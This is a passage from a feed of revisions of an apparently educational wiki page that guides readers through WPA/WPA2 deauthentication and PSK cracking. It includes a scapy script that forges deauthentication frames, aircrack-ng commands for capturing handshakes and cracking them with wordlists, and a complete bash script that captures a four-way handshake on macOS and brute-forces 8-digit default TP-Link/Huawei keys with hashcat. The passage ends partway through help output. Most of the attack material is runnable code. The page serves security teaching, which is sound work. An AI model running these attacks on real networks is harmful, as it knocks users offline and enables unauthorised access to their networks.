Use this automated [https://github.com/veerendra2/wifi-deauth-attack script] using &amp;lt;code&amp;gt;aircrack-ng&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;scapy&amp;lt;/code&amp;gt;. Alternatively use &amp;lt;code&amp;gt;scapy&amp;lt;/code&amp;gt; to manually execute a deauthentication attack, as shown below.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;# Configuration&lt;br /&gt;
station = &amp;quot;ff:ff:ff:ff:ff:ff&amp;quot;&lt;br /&gt;
bssid = &amp;quot;00:00:00:00:00:00&amp;quot;&lt;br /&gt;
interface = &amp;quot;wlan0mon&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Craft and send 802.11 frame&lt;br /&gt;
dot11 = Dot11(addr1=station, addr2=bssid, addr3=bssid)&lt;br /&gt;
packet = RadioTap()/dot11/Dot11Deauth(reason=7)&lt;br /&gt;
sendp(packet, inter=0.1, count=1, iface=interface, verbose=1)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;code&amp;gt;$STA&amp;lt;/code&amp;gt; may be &amp;lt;code&amp;gt;ff:ff:ff:ff:ff:ff&amp;lt;/code&amp;gt;. MAC’s must be lowercase!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== D-Stike Deauther ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. &amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/spacehuhn/esp8266_deauther&lt;br /&gt;
&lt;br /&gt;
=== Other tools ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.&amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/unixpickle/JamWiFi&lt;br /&gt;
* https://github.com/0x0XDev/JamWiFi&lt;br /&gt;
&lt;br /&gt;
= Used Hardware =&lt;br /&gt;
&lt;br /&gt;
* Notebook, Ubuntu 18.04 bionic amd64, Intel Wireless (Intel AC-7260)&lt;br /&gt;
* Lenovo Thinkpad X1 Yoga G2, Kali Linux 2020.4, Intel Wireless (Intel AC-8265)&lt;br /&gt;
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)&lt;br /&gt;
* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)&lt;br /&gt;
* DSTIKE Deauther Watch V1&lt;br /&gt;
&lt;br /&gt;
= Courses =&lt;br /&gt;
&lt;br /&gt;
* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019 &lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)&lt;br /&gt;
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)&lt;br /&gt;
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)&lt;br /&gt;
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/derv82/wifite2 (Accessed 20. January 2021)&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=17567</id>
		<title>WPA/WPA2 PSK deauthentication attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=17567"/>
		<updated>2024-12-18T17:49:28Z</updated>

		<summary type="html">&lt;p&gt;RSchuller: /* Crack with aircrack-ng */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Summary = &lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= TL;DR =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;For those using Kali Linux (&amp;gt;2020.1), you may stop here since most major tools used for WiFi cracking are already installed. Moreover, &amp;lt;code&amp;gt;[https://github.com/derv82/wifite2 wifite]&amp;lt;/code&amp;gt; is designed to use all known methods for retrieving the password of a wireless access point. Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments &amp;amp; switches! Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.&amp;lt;/p&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Generic: One command to rule them all&lt;br /&gt;
sudo wifite&lt;br /&gt;
&lt;br /&gt;
# Specific: WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture&lt;br /&gt;
sudo wifite --wpa --no-wps --no-pmkid&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Requirements =&lt;br /&gt;
== Mandatory ==&lt;br /&gt;
=== GNU/Linux ===&lt;br /&gt;
- Install aircrack-ng suite: &lt;br /&gt;
* Debian based distributions: &amp;lt;code&amp;gt;sudo apt install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Arch based distributions: &amp;lt;code&amp;gt;sudo pacman -S aicrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== macOS ===&lt;br /&gt;
* Optional: Install &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt; suite: &amp;lt;code&amp;gt;brew install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install tcpdump&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;wireshark&amp;lt;/i&amp;gt; to use &amp;lt;i&amp;gt;mergecap&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install wireshark&amp;lt;/code&amp;gt;&lt;br /&gt;
* Enable &#039;hidden&#039; airport feature: &amp;lt;code&amp;gt;sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Optional ==&lt;br /&gt;
=== Hashcat ===&lt;br /&gt;
* Clone GIT repository: &amp;lt;code&amp;gt;git clone https://github.com/hashcat/hashcat.git&amp;lt;/code&amp;gt;&lt;br /&gt;
* Build: &amp;lt;code&amp;gt;cd ./hashcat &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install&amp;lt;/code&amp;gt;&lt;br /&gt;
* Link: &amp;lt;code&amp;gt;sudo ln -s ./hashcat /usr/local/bin/hashcat&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scapy ===&lt;br /&gt;
* Install: &amp;lt;code&amp;gt;pip install scapy&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Background =&lt;br /&gt;
== Problem==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:&amp;lt;/p&amp;gt;&lt;br /&gt;
# Sniff a beacon management frame containing all information about the network &lt;br /&gt;
# Sniff a four-way hanshake containing dynamic payload encryption keys&lt;br /&gt;
# Crack the PSK offline, using data dumps acquired in the previous steps&lt;br /&gt;
&amp;lt;p style=&amp;quot;height: 2px&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Intercepting a four-way handshake requires at least one authenticated device on the target network. &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Solution==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Procedure =&lt;br /&gt;
&lt;br /&gt;
== With aircrack-ng (on GNU/Linux) ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white; margin-left: 30px;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;background-color: grey; font-weight: bold; border-color: black&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Application&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Description&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;aircrack-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;802.11 WEP and WPA/WPA2-PSK key cracking program.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airbase-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Aimed at attacking clients as opposed to the AP itself.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecap-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Decrypt WEP/WPA/WPA2 capture files.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecloak-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Remove WEP CloakingTM from a packet capture file.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdrop-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;A rule based wireless deauthication tool.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;aireplay-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Inject and replay wireless frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airgraph-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Graph wireless networks.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airmon-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Enable and disable monitor mode on wireless interfaces.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airodump-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Capture raw 802.11 frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airolib-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Precompute WPA/WPA2 passphrases.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airserv-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Wireless card TCP/IP server to use wit multiple applications.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airtun-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Virtual tunnel interface creator.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;packetforge-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Create encrypted packets that can be used for injection.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Put your interface in monitor mode ===&lt;br /&gt;
&lt;br /&gt;
* Use airmon-ng to put interface in monitor mode. You can see, that the interface is called wlan0. On different devices or system configurations wlan0 could be a different device name.&lt;br /&gt;
 &lt;br /&gt;
  sudo airmon-ng&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0   iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* First we need to set interface in monitor mode  `iw wlan0 del` and execute the command :&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng&lt;br /&gt;
   Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0mon  iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* Kill all processes which use physical device. Info: If you have a different connection via Ethernet and you are using NetworkManager your Ethernet connection still works.&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng check kill&lt;br /&gt;
   Killing these processes:&lt;br /&gt;
      PID Name&lt;br /&gt;
      895 wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
* Start in monitor mode&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng start wlan0mon 9&lt;br /&gt;
&lt;br /&gt;
Alternatively create a monitoring device by using:&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng start wlan0&lt;br /&gt;
&lt;br /&gt;
If you use the commands `ip a` or the, on GNU/Linux systems old, `ifconfig` command you can see that airmon-ng has generated a new device called &amp;quot;wlan0mon&amp;quot; or on a different setup &amp;lt;YOUR DEVICE NAME&amp;gt;mon. This is the actual monitoring device.&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&lt;br /&gt;
* using wireshark or airodump-ng &lt;br /&gt;
  &lt;br /&gt;
   sudo airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
* You will need:&lt;br /&gt;
** BSSID (MAC address of access point): &amp;lt;bssid&amp;gt;&lt;br /&gt;
** Access point channel: &amp;lt;channel&amp;gt;&lt;br /&gt;
** MAC address of a victim, wireless client using WPA2&lt;br /&gt;
&lt;br /&gt;
=== Capture handshake  ===&lt;br /&gt;
&lt;br /&gt;
* Get handshake or connected station&lt;br /&gt;
&lt;br /&gt;
   sudo airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack with aircrack-ng  ===&lt;br /&gt;
&lt;br /&gt;
* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password&lt;br /&gt;
   &lt;br /&gt;
   sudo aircrack-ng -w &amp;lt;passwordlist path&amp;gt; -b  &amp;lt;bssd&amp;gt; psk*.cap&lt;br /&gt;
&lt;br /&gt;
=== Reset network configuration ===&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Do not forget to turn off monitor mode and restart network manager&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stop monitor mode&lt;br /&gt;
&lt;br /&gt;
   airmon-ng stop wlan0mon&lt;br /&gt;
&lt;br /&gt;
* Restart network manager for internet access&lt;br /&gt;
  &lt;br /&gt;
   service network-manager restart&lt;br /&gt;
&lt;br /&gt;
== Without aircrack-ng (on macOS) ==&lt;br /&gt;
&lt;br /&gt;
In the following, an alternative is presented, which also works under macOS. You can either use the script below or follow the manual steps. The instructions for using &amp;lt;nowiki&amp;gt;tcpdump&amp;lt;/nowiki&amp;gt; instead of &amp;lt;nowiki&amp;gt;airodump-ng&amp;lt;/nowiki&amp;gt;, as well as the use of &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; (or John the ripper) instead of &amp;lt;nowiki&amp;gt;aircrack-ng&amp;lt;/nowiki&amp;gt; can also be ported to Linux and has advantages over the previously listed version. Only the use of &amp;lt;nowiki&amp;gt;airport&amp;lt;/nowiki&amp;gt; works exclusively on macOS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;crack_WPA2_PSK.sh&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; margin-top: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: In this script, &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; is optimized to crack default TP-Link / HUAWEI PSKs in the language {0-9}[8] in maximum 15min on a decent CPU. &amp;lt;br&amp;gt;You may need to change the &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; command at the end of the script to fit your usecase.&amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;#!/bin/bash&lt;br /&gt;
if [[ $UID != 0 ]]; then&lt;br /&gt;
    echo &amp;quot;Please run this script with sudo:&amp;quot;&lt;br /&gt;
    echo &amp;quot;sudo $0 $*&amp;quot;&lt;br /&gt;
    exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
hr() {&lt;br /&gt;
  local start=$&#039;\e(0&#039; end=$&#039;\e(B&#039; line=&#039;qqqqqqqqqqqqqqqq&#039;&lt;br /&gt;
  local cols=${COLUMNS:-$(tput cols)}&lt;br /&gt;
  while ((${#line} &amp;lt; cols)); do line+=&amp;quot;$line&amp;quot;; done&lt;br /&gt;
  printf &#039;%s%s%s\n&#039; &amp;quot;$start&amp;quot; &amp;quot;${line:0:cols}&amp;quot; &amp;quot;$end&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner() {&lt;br /&gt;
  hr; printf &amp;quot; \033[0;31m${1}\033[0m\n&amp;quot;; hr&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Perform a wireless broadcast scan&amp;quot;&lt;br /&gt;
echo &#039; # airport -s&#039;&lt;br /&gt;
airport -s&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Enter dynamic configuration&amp;quot;&lt;br /&gt;
echo -n &amp;quot;  CHANNEL=&amp;quot;&lt;br /&gt;
read CHANNEL&lt;br /&gt;
echo -n &amp;quot;  BSSID=&amp;quot;&lt;br /&gt;
read BSSID&lt;br /&gt;
echo -n &amp;quot;  INTERFACE=&amp;quot;&lt;br /&gt;
read INTERFACE&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Disassociate from any network&amp;quot;&lt;br /&gt;
echo &#039; # airport -z&#039;&lt;br /&gt;
airport -z&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Set arbitrary channel on the card&amp;quot;&lt;br /&gt;
echo &#039; # airport -c$CHANNEL&#039;&lt;br /&gt;
airport -c$CHANNEL&lt;br /&gt;
echo &#039; # airport -c&#039;&lt;br /&gt;
airport -c&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture beacon frame&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture four-way handshake&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
# banner &amp;quot;Merge beacon frame and four-way handshake&amp;quot;&lt;br /&gt;
# Note: mergecap is part of wireshark&lt;br /&gt;
echo &#039; # mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&#039;&lt;br /&gt;
mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Convert .cap file to .hccapx format to be used with hashcat&amp;quot;&lt;br /&gt;
# Note: cap2hccapx is part of hashcat-utils&lt;br /&gt;
echo &#039; # cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&lt;br /&gt;
banner &amp;quot;Crack WPA-EAPOL-PBKDF2 via hashcat (TP-Link/HUAWEI optimized)&amp;quot;&lt;br /&gt;
# 00000000 - 99999999&lt;br /&gt;
echo &#039; # sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&#039;&lt;br /&gt;
sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Clean up&amp;quot;&lt;br /&gt;
echo &#039; # rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;airport -h&lt;br /&gt;
 Supported arguments:&lt;br /&gt;
